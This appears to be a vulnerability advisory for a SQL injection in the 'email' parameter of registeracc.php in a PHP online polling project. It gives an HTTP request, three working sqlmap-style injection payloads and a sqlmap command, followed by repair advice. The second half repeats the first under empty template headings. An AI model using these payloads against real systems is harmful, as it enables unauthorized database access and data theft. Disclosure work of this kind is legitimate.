A SQL injection vulnerability was found in the 'registeracc.php' file of the 'Online Polling Using PHP With Source Code' project. The reason for this issue is that attackers inject malicious code from the parameter "email" and use it directly in SQL queries without appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.
Impact
Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.
DESCRIPTION
Due to insufficient user input verification for the "email" parameter, a serious SQL injection vulnerability has been discovered in the regist function of the "Online Polling Using PHP With Source Code", allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to the database, modify or delete data, and access sensitive information without logging in. Immediate remedial measures are needed to ensure system security and protect data integrity.
No login verification required
Vulnerability details and POC
POST /registeracc.php HTTP/1.1
Host: 192.168.0.102:1114
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
Origin: http://192.168.0.102:1114
Connection: close
Referer: http://192.168.0.102:1114/registeracc.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Parameter: email (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: firstname=admin123&lastname=123admin&email=adminqq@qq.com' RLIKE (SELECT (CASE WHEN (4676=4676) THEN 0x61646d696e71714071712e636f6d ELSE 0x28 END)) AND 'lAdW'='lAdW&password=123123&ConfirmPassword=123123&submit=Register Account
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: firstname=admin123&lastname=123admin&email=adminqq@qq.com' AND EXTRACTVALUE(6030,CONCAT(0x5c,0x71786b7a71,(SELECT (ELT(6030=6030,1))),0x7176786b71)) AND 'DUet'='DUet&password=123123&ConfirmPassword=123123&submit=Register Account
Type: time-based blind
Title: MySQL >= 5.0.12 RLIKE time-based blind
Payload: firstname=admin123&lastname=123admin&email=adminqq@qq.com' RLIKE SLEEP(5) AND 'rkhB'='rkhB&password=123123&ConfirmPassword=123123&submit=Register Account
<img width="967" alt="2" src="https://github.com/user-attachments/assets/02210dfd-9929-4676-8c8d-ebd284c6da52">
## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:
```bash
sqlmap -r 123 --batch --dbs
Suggested repair
Use prepared statements and parameter binding:
Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.
Input validation and filtering:
Strictly validate and filter user input data to ensure it conforms to the expected format.
Minimize database user permissions:
Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.
Regular security audits:
Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.
code-projects Online Polling Using PHP With Source Code v1.0 registeracc.php SQL injection
NAME OF AFFECTED PRODUCT(S)
Vendor Homepage
AFFECTED AND/OR FIXED VERSION(S)
submitter
Vulnerable File
VERSION(S)
Software Link
PROBLEM TYPE
Vulnerability Type
Root Cause
Impact
DESCRIPTION
No login verification required
Vulnerability details and POC
firstname=admin123&lastname=123admin&email=adminqq%40qq.com&password=123123&ConfirmPassword=123123&submit=Register+Account
Parameter: email (POST) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: firstname=admin123&lastname=123admin&email=adminqq@qq.com' RLIKE (SELECT (CASE WHEN (4676=4676) THEN 0x61646d696e71714071712e636f6d ELSE 0x28 END)) AND 'lAdW'='lAdW&password=123123&ConfirmPassword=123123&submit=Register Account
Suggested repair
Use prepared statements and parameter binding: Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.
Input validation and filtering: Strictly validate and filter user input data to ensure it conforms to the expected format.
Minimize database user permissions: Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.
Regular security audits: Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.